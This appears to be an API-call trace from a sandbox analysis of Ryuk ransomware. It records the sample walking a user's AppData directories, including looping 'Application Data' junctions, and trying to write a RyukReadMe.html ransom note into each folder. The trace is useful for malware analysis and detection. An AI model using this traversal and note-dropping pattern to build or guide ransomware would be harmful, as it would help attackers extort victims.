	[0206.157] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.157] GetLastError () returned 0x3
	[0206.157] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0206.157] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.158] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Apps", cAlternateFileName="")) returned 1
	[0206.158] SetLastError (dwErrCode=0x0) 
	[0206.158] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.158] GetLastError () returned 0x3
	[0206.158] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0206.158] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.158] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0206.159] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0206.159] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="2.0", cAlternateFileName="")) returned 1
	[0206.159] SetLastError (dwErrCode=0x0) 
	[0206.159] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.159] GetLastError () returned 0x3
	[0206.160] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0206.160] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.160] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21a, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0206.160] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0206.160] SetLastError (dwErrCode=0x0) 
	[0206.160] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.160] GetLastError () returned 0x3
	[0206.160] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0206.160] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.160] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="2.0", cAlternateFileName="")) returned 0
	[0206.161] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0206.161] SetLastError (dwErrCode=0x0) 
	[0206.161] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.161] GetLastError () returned 0x3
	[0206.161] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0206.161] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.161] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1
	[0206.161] SetLastError (dwErrCode=0x0) 
	[0206.161] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.161] GetLastError () returned 0x3
	[0206.162] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0206.162] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.162] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Deployment\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x210, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0206.162] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0206.162] SetLastError (dwErrCode=0x0) 
	[0206.162] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Deployment\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\deployment\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.162] GetLastError () returned 0x3
	[0206.162] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0206.162] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.163] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66051ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x66051ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9791f220, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x1a918, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GDIPFONTCACHEV1.DAT", cAlternateFileName="GDIPFO~1.DAT")) returned 1
	[0206.163] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0206.164] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e4
	[0206.321] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.322] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Google", cAlternateFileName="")) returned 1
	[0206.322] SetLastError (dwErrCode=0x0) 
	[0206.322] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.322] GetLastError () returned 0x3
	[0206.322] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0206.322] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.322] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0206.324] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0206.324] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1
	[0206.324] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1
	[0206.324] SetLastError (dwErrCode=0x0) 
	[0206.324] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.324] GetLastError () returned 0x3
	[0206.324] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0206.324] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.324] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\CrashReports\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21e, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0206.324] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0206.325] SetLastError (dwErrCode=0x0) 
	[0206.325] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\CrashReports\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\crashreports\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.325] GetLastError () returned 0x3
	[0206.325] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0206.325] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.325] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 0
	[0206.325] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0206.326] SetLastError (dwErrCode=0x0) 
	[0206.326] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.326] GetLastError () returned 0x3
	[0206.326] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0206.326] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.326] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29175f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29175f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29175f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
	[0206.326] SetLastError (dwErrCode=0x0) 
	[0206.326] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.326] GetLastError () returned 0x3
	[0206.326] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0206.326] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.327] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0206.328] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0206.328] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x210, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0206.328] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa5bdddd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa5bdddd0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1
	[0206.328] SetLastError (dwErrCode=0x0) 
	[0206.328] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.328] GetLastError () returned 0x3
